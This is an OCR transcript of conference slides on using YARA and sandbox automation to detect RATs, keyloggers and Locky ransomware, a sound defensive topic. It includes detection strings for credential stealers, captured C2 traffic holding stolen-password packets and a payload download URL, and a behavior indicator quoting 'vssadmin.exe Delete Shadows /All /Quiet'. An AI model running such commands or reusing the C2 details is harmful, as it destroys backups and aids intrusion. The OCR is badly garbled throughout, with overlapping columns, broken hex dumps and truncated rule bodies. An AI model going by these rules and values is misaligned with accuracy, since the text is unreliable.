PUSHING THE
BARRIERS OF
UNIQUE YARA USES

S REVERSING
2020



*"" PASHING THE BARRIERS TLP-GREEN

s, OF UNIQUE YARA USES
‘) Tom Ueltschi
SR. SECURITY ANALYST AT SWISS POST
REVERSING BEE
2020 DAYS  HOURS ' MIN  SEC
Where Threat Hunters 6o
Deep on YARA!
Virtual June 30

TOM UELTSCHI YARA-SUMMIT 2020



C:> whoami /all

Tom Ueltschi
Swiss Post CERT / SOC / CSIRT since 2007 (13 years!)

Focus & Interests: Malware Analysis, Threat Intel, Threat Hunting,
/ Teaming

Member of many trust groups & infosec communities

FIRST SIG member (malware analysis, red teaming, CTI)

Twitter: @c_APT ure

Reversing 2020 - YARA Summit | Pushing the Barriers of Unique YARA Uses | Tom Ueltschi | TLP-GREEN



Previous Presentations

“Ponmocup Hunter” (Botnet malware)
SANS DFIR Summit 2013, DeepSec 2013, BotConf 2013, BotConf 2014

“Threat Hunting with Sysmon Data” (and Splunk)

BotConf 2016, FIRST Con 2017, FIRST TC AMS 2018,
BotConf 2018, CERT-EU Con 2019

“DESKTOP-Group” — Tracking a persistent TG using email headers
BotConf 2019 (TLP-GREEN - not public)

All public slides linked on my blog:
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http://c-apt-ure.blogspot.com/2017/12/is-this-blog-still-alive.html

Outline

Introduction

Automate malware analysis (how far can you go?)

|II

Using YARA on “uncommon” or “unusual” file types
PCAP files
memory-strings & mutexes

JAR’s (Java RAT’s)

“DESKTOP-group” -- Spear Phishing emails & mail headers
YARA for email headers and body
Weird file formats: MSI + JAR || RTF + XLS
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Introduction
Setting Expectations

Malware analysis & «Threat Hunting» based on our own samples
Mostly quarantined email attachs (not really much on VT / RL et.al.)

YARA skills: beginner to «advanced beginner» © (using since 2014)
Reversing skills: not really (disassembler & debugger newby)

Using YARA for «whatever works for us»

More about how easy it can be to start using YARA for your own purpose
Less about 31337 new fancy YARA-fu for uber-experts ©

Most examples & rules are older rather than recent

Usage Goal: malware analysis automation & malware classification
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Introduction
Using YARA — What’s «normal»?

Typical features of «most commonly used» YARA Rules
High precision
Be able to detect maliciousness and distinguish between TP and FP with minimal FN
Common file types
Executables (PE, ELF, ...)

Exploits or macros in «carrier files» (RTF, PDF, DOC/XLS etc.)
Memory dumps

Just in my view, take it as «my opinion» ©
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Shout-out and big thanks to YARA-Exchange Group
Very Lucky and happy to be a member since Aug 2012

deependresearch.org/2012/08/y

ER[search

Wednesday, August 8, 2012

Yara Signature Exchange Google Group

Mobile version , Yara-Exchange Google Group (by invitation only)
; https://groups.google.com/d/forum/yaraexchange
About Us Y Yars W

Threat research

and intelligence analysis Please read the Yara Exchange Group rules below and if you are interested,
with emphasis on malware, request an invitation by sending an email from your organization's email account to to Yara at deependresearch.org (currently moderated
botnet tracking, underground by Andre' M. DiMino)

economy and cybercrime
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Outline

Introduction

Automate malware analysis (how far can you go?)

|II

Using YARA on “uncommon” or “unusual” file types
PCAP files
memory-strings & mutexes

JAR’s (Java RAT’s)

“DESKTOP-group” -- Spear Phishing emails & mail headers
YARA for email headers and body
Weird file formats: MSI + JAR || RTF + XLS
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Automate Malware Analysis
How far can you go?

«We need a bigger sandbox!»

Started using Sandbox in 2013 (>7 years ago)

«Can | get some scripts with that?
To go please!»

Started scripting & automating in 2014
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2015: BotConf lightning talk

Automated Sandbox malware analysis

«Swiss Army Knive of Sandboxes» (commercial, private cloud)

Creating your own http://www.joesecurity.orqg/joe-sandbox-technology [Blog]

CTI in 3 minutes

Automation / Scripting:
Extract mail attachs
Upload samples to sandbox

Tom Ueltschi / BotConf 2015 .
tueltschi@people.ops-trust.net / @c_APT_ure DOWHIOGd GHGIYSIS PCSUH’S

- report HTML/XML, PCAP, dropped files, file-/mem-strings
Post processing
PCAP & tshark (DNS, HTTP, TCP)
XML & xquilla (files/reg keys created, mutexes, SB-sigs)
YARA scans of files, mem-strings & PCAP
VT hash lookups (submit sample & dropped files)

Tom Ueltschi / BotConf 2015
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Automating Malware Analysis

/Sandbox results: N
- Report (HTML, XML, JSON)

IETE:itI:W/ attach(s) - Network traffic (PCAP) :

File (exe, doc) Analysis - Dropped / Downloaded Files
: - Memory- & File-Strings

KSandbox Signatures )

|

/Post Processing \
- XML Report & xquilla & xpath = files-, reg keys-, mutexes-, proc’s created

- PCAP & tshark = DNS-, HTTP-requests, TCP connections (non-std ports)

- Yara rules & Files, PCAP, mem strings =2 File | Memory / Network patterns

- VirusTotal Filehash lookups, sample submits (optional) =2 AV detections

\ Behavior Analysis (Proc’s, Files, Reg keys, Network, Persistence) /

|

{Sysmon Data in SIEM (Splunk) }

Behaviors (Proc’s) = Search Queries = Alerts & Hunting

Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE
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2015: BotConf lightning talk

Creating your own
CTIL in 3 minutes

Tom Ueltschi / BotConf 2015
tueltschi@people.ops-trust.net / @c_APT_ure

YARA rules!

Automated Sandbox malware analysis

o el ol ol ol ol ol ol ol ol ol ol ol o il ol ol ol ol e e e ol ol ol o ool ol ol ol ol o e el el ol ol ol ol ol o

Samwple analysis ID: /data/malware/mwail-malware/2015-11-22 7

-—— matching YARAL rules —--—-—
cf embedded exe [] 2015-11-22 7/0reder-214.exe

crime BackdoorFynloski mem [] 2015-11-22 7/0Oreder-214.exe.1480.1.menmstr

crime GenericDownloader mem [] 2015—11—22_7f0reder-214.exe.1480.1.memstr

crime HackToolPassView mem [] 2015—11—22_7/q.exe.2184.6.memstr

crime HackToolPassView mem [] 2DlS-ll—ZZ_?fScriptedSandbox.exe.2720.13.memstr
crime_ TrojanDownloaderindromeda mem [] 2015—11—22_?f0reder—214.exe.1480.1.memstr
crime TrojanDownloaderindromeda mem [] 2015—11—22_?fvbc.exe.2504.Q.memstr

file autoit_script [] 2015-11—22_7/q.exe.3880.3.memstr

file autoit script [] 2015-11-22 7/Scriptedlandbox.exe.784.8.menmstr

malwareconfig DarkComet [] 2015—11-22_7/0reder-214.exe.1480.1.memstr
malwareconfig DarkComet [] 2015—11—22_7/vhc.exe.2504.4.mem3tr

mem darkcomet config artifacts mwemory [] 2015—11—22_7/vbc.exe.2504.4.memstr
mem DarkComet Default Mutex Memory [] 2015—11—22_7/vbc.exe.2504.Q.memstr
mem DarkComet Keylogs Memory [] 2015—11—22_?K0reder—2lq.exe.1480.1.memstr

memstr NirSoft tools [] 2015-11-22 7/ScriptedSandbox.exe.2720.13.memstr

mutex rat_ darkcomet [] 2015—11—22_7!vbc.exe.2504.4.memstr I

mz_executable [] 2015-11-22 7/dropped/Scripted3andbox.exe.3880.dr
mz executable [] 2015-11-22 7/0reder-214.exe

pocap rat darkcomet [] 2015-11-22 7/dunp-07999a4c46045729d4bal66761198£58 . peap ]

zip file [] 2015—11—22_7/Oreder.zip

Tom Ueltschi / BotConf 2015
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Behavior Rules?

Think SIGMA / SIEM analytics (or some even «|OCs»)

Currently 243 «behavior rules»

1lesystem
(pcap)
rsistence method

(memory)

1etwork

~-

creates

'xXcopy’

uses

started
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directory 'dclogs' [DarkComet]"
'DHCP Manager\dhcpmgr.exe'
'AGP Manager\agpmgr.

[Nanocore

exe'
'run.dat’ RATI"™
mautexes
mutexes
memory

TO

C_MUTEX-' [DarkComet]"
emcos—-*"' [Remcos RAT]"

'D
'R

strin 'LimeRAT-Admin'’
copy JRE to $APPDATAS\

'Java*.exe' from %APPDATA%\Orac

[Java RAT Adwind]"
ava RAT Adwind]"

'"HKEY USERS/Software/DC3 FEXEC' [DarkComet]"

'HKEY USERS/Software/Remcos-*' [Remcos RAT]"

-Status|Flood|Software\ [0-9A-F] {12})"'
[Netwire RAT]"

[LimeRAT]"

-
')

(not http([s], smtp, 587

14



Behavior Rules?
Think SIGMA / SIEM analytics (or some even «|OCs»)

Currently 243 «behavior rules»

"FILE: directory 'dclogs' [DarkComet]"

"FILE: i 'DHCP Manager\dhcpmgr.exe' [Nanocore RAT]"
"FILE: 1 'AGP Manager\agpmgr.ex [Nanocore RAT]"
"FILE: 1 'run.dat' [Nanocore

"PROC: mutexes 'DC MUTEX-' [DarkComet]"

"PROC: mutexes 'Re ;bls—" [Remcos RAT]"

"PROC: memory string 'TineRAT—Adnin'

"PROC: uses 'xcopy' to copy JRE to %APPDATA Java RAT Adwind]"
"PROC: started 'java*.exe' from zaPPDATwaOrac va | Adwind]"

"REG: creates reg key 'HKEY USERS/Software/DC3_FEXEC' [DarkComet]"

egrep -Hi "dclogs" ${l}/files-created.txt | cut -4d"/" -f1 |
analyze-out.sh "FILE: creates directory 'dclogs' [DarkComet]™

egrep -Hi "DC_ MUTEX" ${1l}/mutex-created.txt | cut -d"/" -fl | uni
analyze-out.sh "PROC: creates mutexes 'DC_MUTEX-' [DarkComet]™

egrep -Hi "DC3_FEXEC" ${1}/reg-key*.txt | cut -d"/" -fl
analyze-out.sh "REG: creates reg key 'HKEY USERS/Software/DC3 FEXEC' [DarkComet]"

Reversing 2020 - YARA Summit | Pushing the Barriers of Unique YARA Uses | Tom Ueltschi | TLP-GREEN 15



2015: BotConf lightning talk

Creating your own
CTIL in 3 minutes

Tom Ueltschi / BotConf 2015
tueltschi@people.ops-trust.net / @c_APT_ure

Behavior rules!

Extracting IOCs from malware analysis

- Persistence Methods
- Registry- / filesystem-based, sched. tasks

Behavior / Indicator
PERS / SIG: Drops PE files to the startup folder

v |# of samples

235

PERS / SIG: Uses schtasks.exe or at.exe to add and modify task schedules

51

PERS: creates reg key 'CurrentVersion/Policies/Explorer/Run' to exec malware in '%APPDATAY'

30

PERS: creates reg key 'CurrentVersion/Policies/Explorer/Run’ to exec malware in '%TEMP%'

2

PERS: creates reg key 'CurrentVersion/Policies/Explorer/Run’ to exec malware in 'other/unknown’

69

PERS: creates req key 'CurrentVersion/Policies/Explorer/Run' to exec malware in ‘Systemn32'

7

PERS: creates reg key 'CurrentVersion/Run’ to exec malware in '%APPDATAY'

PERS: creates reqg key 'CurrentVersion/Run' to exec malware in '%TEMP%'

PERS: creates req key 'CurrentVersion/Run’ to exec malware in 'otherfunknown'

PERS: creates reg key 'CurrentVersion/Run’ to exec malware in 'System32'

PERS: Debugger Persistence

PERS: Registry Windows Load persistence

PERS: Startup LNK-Shortcut to EXE

PERS: Uses schtasks. exe

PERS: WinLogon Shell Persistence

PERS: WinLogon Userlnit Persistence

Tom Ueltschi / BotConf 2015
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2015: BotConf lightning talk

Creating your own
CTIL in 3 minutes

Tom Ueltschi / BotConf 2015
tueltschi@people.ops-trust.net / @c_APT_ure

Behavior rules!

Extracting IOCs from malware analysis
- Network Behavior

- TCP conns on non-std ports
- Data exfil over SMTP (TLS) or FTP
- Spike in C&C IPs from same AS

Behavior / Indicator

# of samples

MNET:

connects to IPs from AS47583

153

NET:

FTP used

24

NET:

User-Agent known for Upatre Downloader

320

NET:

User-Agent: 'HardCore Software For : Public’

91

MNET:

uses ping [0-9].[0-9].[0-8].[0-8] (e.q. 1.1.2.2, 2.2.1.1)

28

NET:

uses Tor2Web domains / service (Chanitor / Tordal?)

11

NET:

using non-std TCP ports (not http[s], smtp, 587) - likely RATs

185

NET:

using TCP ports smtp_25, smip/tls_587

149

Tom Ueltschi / BotConf 2015
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2015: BotConf lightning talk

Creating your own
CTIL in 3 minutes

Tom Ueltschi / BotConf 2015
tueltschi@people.ops-trust.net / @c_APT_ure

Behavior rules!

Extracting IOCs from malware analysis
- Filesystem IOCs

- Specific file- / directory-names

Behavior / Indicator

# of samples

FILE:

creates directory 'dclogs' [DarkComet]

FILE:

creates file '/SubFolder/SubFolder/csrss. exe!

FILE:

creates file '/SubFolder/SubFolder/winlogon. exe'

FILE:

dropping file '|pOverUshSvrc. exe’

FILE:

dropping VBS file

FILE:

dropping VBS to call "WScript. Shell'

FILE:

dropping VBS to create 'RunOnce/Shell' req key

FILE:

dropping VBS to enum AV & FW products

FILE:

drops '.exe' file without 3 name

FILE:

drops 'Microsoft-KB[0-8]+.exe' in ProgramData

Tom Ueltschi / BotConf 2015
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2015: BotConf lightning talk

Extracting IOCs from malware analysis

- Memory strings, Mutexes, Procs started

CP@GT'“Q your own Behavior / Indicator j# of samples
CTI in 3 minutes PROC: calls 'reg.exe query HKLM/SOFTWARE/.. /CurrentVersion/Uninstall 4
PROC: calls ‘regswr32.exe' to reqister service DLL 19
PROC: calls 'type [path-to]winlogin.exe > ' (Vawtrak, NeverQuest, Snifula?) 18
PROC: calls 'vssadmin.exe Delete Shadows /All /Quiet'to delete Shadow Copies 82
PROC: creates memory string 'CyberGate' 18
Tom Usltschi / BotConf 2015 PROC: creates memory str!ng 'HayvkEye Keylogger' 29
tueltschi@people.ops-trust.net / @c_APT_ure PROC: creates mermaory Stl’ll’lg ‘Limitless Loqger' 21
PROC: creates memory string ‘Predator Pain v13'
PROC: creates memory string 'Predator Pain v14'
PROC: creates memory string ‘'Software/NirSoft/MailPassView'
PROC: creates memory string 'Software/NirSoft/MessenPass'
PROC: creates memory string “www_nirsoft net’
PROC: creates mutexes '(xX(x_key_xXxlhanspeter[0-9]|_SAIR|_RESTART)'
. PROC: creates mutexes 'CYBERGATEUPDATE'
BehaV|Qr rules! PROC: creates mutexes 'DC_MUTEX-' [DarkComet]
PROC: execs 'driverquery. exe’
PROC: runs malware exe with 'key' after long series of spaces (20 - 2000 spaces)

Tom Ueltschi / BotConf 2015
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Does «size» really matter?
(Semi-)Automating Malware Analysis

Automated Sandbox malware analysis
Number of analyzed malware samples

Per month — 50 to 400 (average ~230)
Per year - ~2’000 to ~3’'500

2014 -> 1893
2015 -> 3184
2016 -> 3461
2017 -> 2409
2018 -> 1982
2019 -> 2273 Average
2020 -> 1154 (¥*)

4] 201401 252[ 2015-01 |
14-02

1

L

Tom Ueltschi / BotConf 2015

> «Small numbers», but high value!
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Outline

Introduction

Automate malware analysis (how far can you go?)

|II

Using YARA on “uncommon” or “unusual” file types
PCAP files
memory-strings & mutexes

JAR’s (Java RAT’s)

“DESKTOP-group” -- Spear Phishing emails & mail headers
YARA for email headers and body
Weird file formats: MSI + JAR || RTF + XLS
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Using YARA on “uncommon” or “unusua

III

PCAP files (network traffic) from NetWire RAT

X Wireshark - Follow TCP Stream (tcp.stream eq 0) - dump-930a85870301cdba3difff27e12.. —

00000000 02 24 b8 6b 63 30 23 79 9c b5 8¢
00000010 a3 20 el 88 be ef 46 87 c8 Oc 52 1a 31 72 95 41
00000020 8a b4 ef 6b 63 15 65 3b a7 1d 77 af a5 e6 7e 21
00000030 3f 48 d3 b9 29 6b 76 aa c2 b2 bc 36 a7 5b 4c 05
00000040 be 8b 3e 4f 02
00000045 01 60 00 00 02
0000004A 01 60 00 00 02

3 client pkts, 0 server pkts, 0 tumns.

Entire conversation (79 bytes) ~ | Show and save data as | Hex Dump va

00000000 91 48 98 T7e f4 77 68 6¢c b4 €0 7d
00000010 d7 c5 c2 98 4d b0 91 bO ca a7 dO 14 e7 71 e2 24
00000020 ba a3 e2 7c 70 98 fa 78 d9 30 66 ce 64 f6 48 40
00000030 f2 8c 85 e 85 e6 2f ce 5e 67 32 aa 7f ed le 04
00000040 06
00000045 01
0000004A 01
0000004F 01
00000054 01
00000059 01
0OGOOOSE 01
00000063 01
00000068 01
0000006D 01
00000072 01
00000077 01
0000007C 01

9
X Wireshark - Follow TCP Stream (tcp.stream eq 3) - dump-b7b3878c74041a7e36843e77b93901
i

X Wireshark - Follow TCP Stream (tcp.stream eq 0) -

00000000 41 00 00 00 03 fe 94 97
00P00010 6c b4 el 7d d7 c5 c2 98
OPOPO020 e7 71 e2 24 ba a3 e2 7c
000030 64 6 48 40 f2 04 3d 7f
00E00040 16 2T 89 bd e7

00000000 08 58

00000010 <c¢3 bd 5d f2 61 3f 9b

00000020 9a 7c ad Oc af 71 af

00000030 ae 89 9b al b2 10 id

00000040 e6 60 04 c5 b5
00000045 42 00 00 00 05 3e 02 95
00POEE55 93 Oc 63 3a c4 7h ea 7T
00000065 cO 64 c9 4c 2b 13 84 1id
0EEOEET75 86 3b c7 95 e8 4a ad 1b
00eO0E85 2b 39 d5 5e 34 dc

00000045 01 00 00 00 01
000OEE8B 01 00 O 00 01

0000004A 01 00 00 00 01
00000090 01 00 e 00 01

0000004F 01 00 00 00 01
00000095 01 00 0 0 01

00000054 01 00 00 00 01

ARRANAOA A1 AA_ AR AN N1
33 client pkts, 16 server pkts, 32 turns.

Entire conversation (19 kB)
Find:

Filter Out This Stream

91 48 98 7e T4 77 68
b® 91 bO ca a7 do 14
98 fa 78 d9 30 66 ce
e7 ee e6 dO 81 32 11

e8 7d 39 61 a9 76 56 1b A

d2 d8 4 Qe 37 79 ec 25
87 Oe 4d 1b 99 f1 6d ab
d4 ee 5e db dc cb 9 9b

46 dO 1f 8b b7 e8 cb
98 8e 16 58 54 c8 d4
40 3e 69 81 71 48 bc
e5 09 1d b2 44 ca dd

¥ | Show and save data as Hex Dump ~

Save as...

X Close

file types

Stream |0
] Find Next

% 4Help
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X Wireshark - Follow TCP Stream (tcp.stream eq 0) - dump-930a85870301cdba3difff27e12.. —

cle]elslolole]e)
0EeE0O10
0EEE0020
clelelelolok]e)
0EEO0O40
0EEO0045
DOROOO4A

Using YARA on “uncommon” or “unusua

IH

PCAP files (network traffic) from NetWire RAT

02 24 b8

100 00 00
a3 20 el 88

8a
3f
be
01
01

b4
48
8b
00
00

ef
d3
3e ¢
00
00

he
63
29

ef 46 87
15 65 3b
6b 76 aa

02

02

02

3 client pkts, 0 server pkts, 0 tumns.

Entire conversation (79 bytes)

clelelslofole]e)
0EE0O10
0EEE0020
0EEO0O30
0EEO0040
0EEO0045
DEROOO4A
PERO0O4F
0EEO0O54
PEEO0O59
PEROOOSE
PEEO0O63
PEEO0068
0EEOOO6D
PEEO0OT2
EEREEOTY
0EEEVOTC

X Wireshark . Follow TCP Stream (1

41 0 00 O3

d7
ba
f2
06
01
01
01
01
01
01
01
01
01
01
01
01

C
a3
8c

0 00
BRG2

e2
85

98
ic
el

4d t
70 ¢
85 ¢

rule

6b 63 30 23 79 9c
c8 Oc 52 1a 31 72
a7 1d 77 af a5 e6
c2 b2 bc 36 a7 5b

rat

pcap

{

meta:
author
date =
family
tags =

strings:
Ssigl
$sig2
$sig3
$sig4
Sfpl =

condition:
of

any

X Wireshark - Follow TCP Stream (tcp.stream eq 0) -

b5 8c
95 41
7e 21
4c 05

ejeelolololele)
0EEEEO10
00eEEO20

netwir

= "Tom Ueltschi"”
"2014/11"
= "netwire"

"rat, netwire"

)

o
o
o
o
[}
o

)

o
o
o
o
[}

il

)
)

o O

o O

o O

o O

~ O

o O
o W W

n

{
{
{
{
T

{8
H
n]

(]
H
Al]
=

(Ssig*)

and not $fpl

41 00 00
6Cc b4 el
e7 71 e2

00 03 fe 94 97
7d d7 c5 c2 98
24 ba a3 e2 7c
=6 48 40 f2 04 3d 7f
2f 89 bd e7
41 00 00 00 O5SHCEEL
c3 bd 5d f2 61 3f 9b
9a 7c ad Oc af 71 af
ae 89 9b al b2 10 id
e6 60 04 c5 b5
00 00 00 05 3e 02 95
Oc 63 3a c4 7b ea 7T
54 c9 4c 2b 13 84 1d
e8 4a ad 1b

00 00 00 01

01 00 00 0O 01
00 00 00 01

01 00 00 00 @
00 00 00 01

01 00 00 PO™N

NA_ARN_ AN N1
erver pkts, 32 turns.

ition (19 kB)

lut This Stream

91 48 98 7e T4 77 68
b® 91 b0 ca a7 do 14
98 fa 78 d9 30 66 ce
e7 ee e6 dO 81 32 11

e8 7d 39 61 a9 76 56 1b A

d2 d8 T4 Pe 37 79 ec 25
87 Oe 4d 1b 99 f1 6d ab
d4 ee 5e db dc cb 9 9b

46 dO0 1f 8b b7 e8 cb
98 8e 16 58 54 c8 d4
40 3e 69 81 71 48 bc
e5 09 1d b2 44 ca dd

¥ | Show and save data as Hex Dump ~

Save as...

X Close

file types

Maybe my 1st rule!

Stream |0
] Find Next

% 4Help
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Using YARA on “uncommon” or “unusual” file types
PCAP files (network traffic) from DarkComet RAT

X Wireshark - Follow TCP Stream (tcp.stream eq 4) - dump-50fd794beeb67fba8d699¢9...

EEEEEEEe 44 35 37 33 42 41 35 41 34 45 46 46 43 33 46 42  D573BASA 4EFFC3FB
EEeEEe1e 36 32 39 33 30 38 629308

1 client pkt, 0 server pkts, 0 ule pcap rat darkcomet
Entire conversation (22

meta:
Find: author = "Tom Ueltschi”
date = "2014/11"
family = "DarkComet"
tags =

Filter Out This Stream

"rat, DarkComet"™
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Using YARA on “uncommon” or “unusual” file types
PCAP files (network traffic) from LuminosityLink RAT

X Wireshark - Follow TCP Stream (tcp.stream eq 0) - dump-f22dc121225a23ea3aba2label8f71bb.pc... — O X

CONNECTRZMEIE M22SERVER-5811365/510/$100:00: 00§  [explorer]
AgA849224\1uketaylor*$rMicrosoft Windows 7 Professional 32-

bitASAOASA4AGATruer$ DesktopA$nl.5.6bASNO5-10-2017AFAN/
AMNSAddCc270c0e6200e87334790da055b8e0859h6eac8ASMLM22SERVERMSANASAE_= 8C=P4CK3T=1TR4MPanq=10
=( )=4TR4MPSTOP=( )=6TR4MPN=( )=9TR4MP48496 | 59327 | 63817 |46235|60738| 10603 | 86455 | 26563 |
=()=10TR4MPhttps://files.catbox.moe/Tf0d6m6.dat=()=8_=_8| R
=P4CK3T=8 = 8ACT=P4CK3T=8 = 8PASSWORDS=P4CK3T=K3Y3Microsoft Window{lrule pcap_rat_Lum'i nos'ity_L'ink_pd,ck?,t
bit | VW3KH-6JMQW-VPVXM-82K84 -T2CGGK3Y38_=_8ACT=P4CK3T=0"$"[explorer i {
=P4CK3T=8_=_8|=P4CK3T=8_=_8ACT=P4CK3T=8_=_8ACT=P4CK3T=0"$"[explore| meta:
=P4CK3T=8_=_8|=P4CK3T=8_=_8ACT=P4CK3T=8_=_8ACT=P4CK3T=0"$"[explore| - " cchi™
—PACK3T=8 = 8|=P4CK3T=8 = BACT=PACK3T=8_= BACT=P4CK3T=0A$A[explore| 3;2202 --zolgﬁ)lgﬁ]hcm

family = "LuminosityLink"
13 client pkts, 5 server pkts, 10 turns. T ags = "rat”

nn

Entire conversation (847 bytes) ¥ | Show and save dataas 4 strings:

Find: |=P4CK3T= $packet = "=P4CK3T=

: : condition:
Filter Out This Stream Save as... #packet
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Using YARA on “uncommon” or “unusual” file types

43 YARA rules for PCAP files (network traffic)

pcap ransom locky access cgi

W
oM =)

pcap _get_range
pcap_ iSpy Logger
pcap_java rat adwind JBifrost
pcap_java rat unknown 1
pcap_jfect_ rat

pcap_ransom locky apache handler php
pcap_ransom locky checkupdate

pcap ransom locky data info php
pcap_ransom locky imageload cgi

pcap _ransom locky information cgi

oM W

= n
=
(]

m
] W = n N W n

’_‘
Wb e On
w0

w
S

pcap Knight Logger dump mail
pcap _limitless logger

pcap OClympic Vision Keylogger
pcap_post_gate_php
pcap_Predator Pain dump mail

o

pcap ransom locky linuxsucks php
pcap_ransom locky main php
pcap_ransom locky message php

pcap ransom locky php upload php
pcap_ransom locky submit php

) pcap_ransom locky upload dispatch php
pcap_ ransom locky userinfo php
pcap_ransom locky XORed dll

~J D

W

D
s

6
5

’_‘

SO OS]

pcap_rat_adwind Pwd-stealers
pcap_rat_ave maria Keylog gers

pcap_rat darkcomet

pcap_rat Luminosity Link p4ck3t
pcap_rat morphine

pcap_rat netwire

1
1
59
4

rn
-J

(&)
[ e )

pcap_ransom teslacryp

wn

pcap_ransom teslacryp _ ] _suc
pcap_ransom teslacrypt payload download

)

w

pcap_rat netwire 1

pcap_rat njrat
pcap_rat_garallax
pcap_rat Revenge RAT

rD
(8 4]

) b = n

Ransomware RAT’s

’_:

pcap rat unknown 1
pcap trojan nivdort

W N W,
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Using YARA on “uncommon” or “unusua
43 YARA rules for PCAP files (network traffic)

cap_
cap_
pcap_

ransom 1

rule pcap_ransom_locky_xORed_d11

meta:
author =
date = "2016/09"
family = "Locky"
tags =

strings:
$xorkey0l
$xorkey02
$xorkey03
$xorkey04
$xorkey05

V%% ) ~-

$xorkey30
$xorkey31
$xorkey32
$xorkey33
$xorkey34

o II1u e nn

condition:
any of ($xorkey*)

ransom locky
ocky apache handler php
ransom locky checkupdate

9 pcap ransom lockv

"Tom uUeltschi
"ransomware"

"4ptDNDNGVPg2LpWCUWF84V2KZSnVI i
"e7cfsVEKAR25PBTRtGaanxFZFwdsizc
" aGy03QQouf51i315dAagrsoht0086Imsx pcap_ransom_locky_ checkupdate

WyAI]DCI"CTGEZOSOLtPl'IgleSNVh*’“\ pcap_ransom_ lod\\r |maqe|oad CQl

"VPV2IXHEYpcCcXad
e T ===z PCap_ransom _locky_XORed dII

6dYGb6fotn2XWLfy9QSF9YAnE2FMy6C
"frfnpCOiA8VsRK4VIFQqVliwou7JipRpsR”
"g8znmjXLwhSppuF1Lz7hJERnawhOoc7cw" = P =
"WHIPX3Yg61EQPPOWWFE33TIdTOCRENIF"
"Xdsk4gxRmVKXKBTRXHLa29vXxIpIIegBH"

rule (URI pattern)

IH

date start

file types

date end

samples

access_cgl _
pcap_ransom_locky_main_php

15.02.2016

24.03.2016

82

pcap_ransom_locky_submit_php

28.03.2016

21.04.2016

15

data info php pcap_ransom_locky userinfo_php

26.04.2016

29.05.2016

45

pcap_ransom_locky access_cgi

29.05.2016

29.05.2016

8

pcap_ransom_locky_upload__dispatch_php

30.05.2016

01.08.2016

29

pcap_ransom_locky_php_upload_php

03.08.2016

18.08.2016

16

- @C_APT_ure” .
pcap_ransom_locky data_info_php

22.08.2016

25.09.2016

49

pcap_ransom_locky_apache_handler_php

26.09.2016

22.10.2016

53

pcap_ransom_locky_linuxsucks_php

23.10.2016

01.11.2016

28

pcap_ransom_locky_message_php

01.11.2016

18.11.2016

A
4

pcap_ransom_locky_information_cg

20.11.2016

04.12.2016

A
4

04.12.2016

14.08.2017

15.08.2017

29.09.2017

anbDLN8R20NnvafGx

04.09.2016

07.09.2017

pcap_rat netwire

02 pcap rat netwire
3 pcap_
pcap_
pcap_rat Revenge
pcap_rat_ unknown
pcap_trojan nivdo

rat_njrat
rat_garallax

rD
(B3]

=

.40
| O T =
W N
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Using YARA on “uncommon” or “unusual” file types

43 YARA rules for PCAP files (network traffic)

PCAP YARA rules developed 2014 — 2017

Deprecated / superseeded

After mid 2017 scanning PCAPs with Suricata and IDS rules
ET OPEN, ETPRO and other commercial IDS rules
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Outline

Introduction

Automate malware analysis (how far can you go?)

|II

Using YARA on “uncommon” or “unusual” file types
PCAP files
memory-strings & mutexes

JAR’s (Java RAT’s)

“DESKTOP-group” -- Spear Phishing emails & mail headers
YARA for email headers and body
Weird file formats: MSI + JAR || RTF + XLS
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Using YARA on “uncommon” or “unusual” file types

Memory strings files

rule memstr_Limitless_Logger

1
meta:

author
date = "2014/11"

"Tom Ueltschi"

family = "Limitless Logger"”

strings:
$strl
$str2

condition:

"Limitless Logger
": Keyboard Records

any of ($str¥)

rule memstr_Knight_Logger

1
meta:

author
date = "2016/01"

"Tom ueltschi”

family = "Knight Logger"”

strings:
$stri
$str2
$str3
$str4
$strs

condition:

"Knight
"[FIRST
"Knight
"Knight
"Knight

any of (§str®)

Logger Started...”

RUN]JKnight Logger first run on"
Logger sent logs of"

Logger recovered wallets of"
Logger recovered accounts of"

rule memstr_HawkEye_Keylogger
{
meta:
author = "Tom ueltschi”
date = "2014/11"
family = "HawkEye Keylogger™

strings:
$§strl = "HawkEye Keylogger"
§str2 "| RuneScape Stealer
$str3 "] Minecraft stealer

condition:
any of (8$str*)

rule memstr_Predator_Pain
{

meta:
author = "Tom uUeltschi’
date = "2014/11"
family = "Predator Pain”

strings:
$stri
$str2
$str3
$str4

"Predator Pain”
"- Key Recorder -"

"PredatorLogger”

condition:
any of ($str*)
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III

Using YARA on “uncommon” or “unusual” file types

Memory strings files

rule memstr_Nirsoft_tools
{
meta:
author = "Tom ueltschi”
date = "2014/11"
family = "Nirsoft tools”

strings:|

$strl

rule memstr_iSpy_KeyLogger $str2

{ $str3

meta: $str4
author = "Tom veltschi”

date = "2016/04" condition:

family = "ispy Keylogger™ any of ($str¥)

"software\ N1rSoft Ma11Pas;V1eh"
"software\\Ni

"software\\

a href=\"http://www.nirsoft.net/\""

strings:
$stri
$str2
$str3
$str4
$strs
$stré
$str7
$strs8
$stro
$stri10
$stril
$stri12
$stri3

Clipboard - KeyStrokes" nocase
Screenshot” nocase
"ispy Keylogger - webCam' nocase
"isSpy Keylogger Installation Notification” nocase
"ispy Keylogger - Password Recovery” nocase
"ispysoft Admin" nocase
"Dear 1iSpy Keylogger Customers"” nocase
"Let us informed you that ispy Keylogger is currently active now"” nocase
"ispy Keylogger has been installed to the following PC" nocase
* Clipboard Logger " nocase
KeyStroke Logger " nocase
Screen Logger nocase
* webCam Logger " nocase

1Spy Keylogger
"ispy Keylogger

condition:
3 of (§str*
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III

Using YARA on “uncommon” or “unusual” file types

Memory strings files

rule memstr_rat_remcos
{
S meta:
rule memstr_rat_nanocore author = "Tom ueltschi
{ date = "2018/01"
meta: family = "remcos rat”
author = "Tom ueltschi” tags = 'rat, remcos”
date = "2016/04"
family = "nanocore” strings:
tags = "rat, nanocore” $remcos_cmds00
$remcos_cmds01
strings: $remcos_cmds02
$stri "NanoCore" $remcos_cmds03
$str2 "NanoCore Client.exe" $remcos_cmds04
$str3 "CclientNanoCore" $remcos_cmds05
$strd "NanoCore.ClientPlugin” $remcos_cmds06
$strs "NanoCore Client, version=" $remcos_cmds07
§stré = "ConnectDelay"
$str7 "COMPUTERNAME="" remcos_cmds106
$strs8 "HOST_CONFIG" $remcos_cmds107
$remcos_cmds108
condition: $remcos_cmds109
4 of ($str®) $remcos_cmds110
$remcos_cmds111
$remcos_cmds112
$remcos_cmds113
$remcos_str0l = "* Breaking-Security.Net"
$remcos_str02 = "* REMCOS

"addnew"
"autofflinelogs”
